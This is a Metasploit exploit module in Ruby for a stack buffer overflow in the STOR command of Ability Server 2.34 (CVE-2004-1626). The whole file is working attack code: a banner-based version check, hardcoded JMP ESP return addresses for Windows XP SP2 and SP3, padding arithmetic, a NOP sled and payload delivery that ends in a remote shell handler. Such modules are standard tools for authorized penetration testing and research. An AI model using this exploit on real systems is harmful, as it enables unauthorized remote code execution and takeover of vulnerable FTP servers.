112 lines
3.1 KiB
Ruby
112 lines
3.1 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Ftp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Ability Server 2.34 STOR Command Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow in Ability Server 2.34.
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Ability Server fails to check input size when parsing 'STOR' and 'APPE' commands,
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which leads to a stack based buffer overflow. This plugin uses the 'STOR' command.
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The vulnerability has been confirmed on version 2.34 and has also been reported
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in version 2.25 and 2.32. Other versions may also be affected.
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},
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'Author' =>
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[
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'muts', #Initial discovery
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'Dark Eagle', #same as muts
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'Peter Osterberg' #Metasploit
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2004-1626' ],
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[ 'OSVDB', '11030'],
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[ 'EDB', '588'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process'
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},
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00\xff"
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[
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'Windows XP SP2 ENG',
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{
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#JMP ESP (MFC42.dll. Addr remains unchanged until a patched SP3)
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'Ret' => 0x73E32ECF,
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'Offset' => 966
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}
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],
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[
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'Windows XP SP3 ENG',
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{
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#JMP ESP (USER32.dll. Unchanged unpatched SP3 - fully pathced)
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'Ret' => 0x7E429353,
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'Offset' => 966
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}
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],
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],
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'DisclosureDate' => 'Oct 22 2004'
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))
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register_options(
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[
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Opt::RPORT(21),
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OptString.new('FTPUSER', [ true, 'Valid FTP username', 'ftp' ]),
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OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'ftp' ])
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], self.class)
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end
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def check
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connect
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disconnect
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if banner =~ /Ability Server 2\.34/
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return Exploit::CheckCode::Appears
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else
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if banner =~ /Ability Server/
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return Exploit::CheckCode::Detected
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end
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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c = connect_login
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return if not c
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myhost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']
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# Take client ip + ftp user lengths into account for EIP offset
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padd_size = target['Offset'] + (13 - myhost.length) + (3 - datastore['FTPUSER'].length)
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junk = rand_text_alpha(padd_size)
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sploit = junk
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sploit << [target.ret].pack('V')
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sploit << make_nops(32)
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sploit << payload.encoded
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sploit << rand_text_alpha(sploit.length)
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send_cmd(['STOR', sploit], false)
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handler
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disconnect
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end
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end
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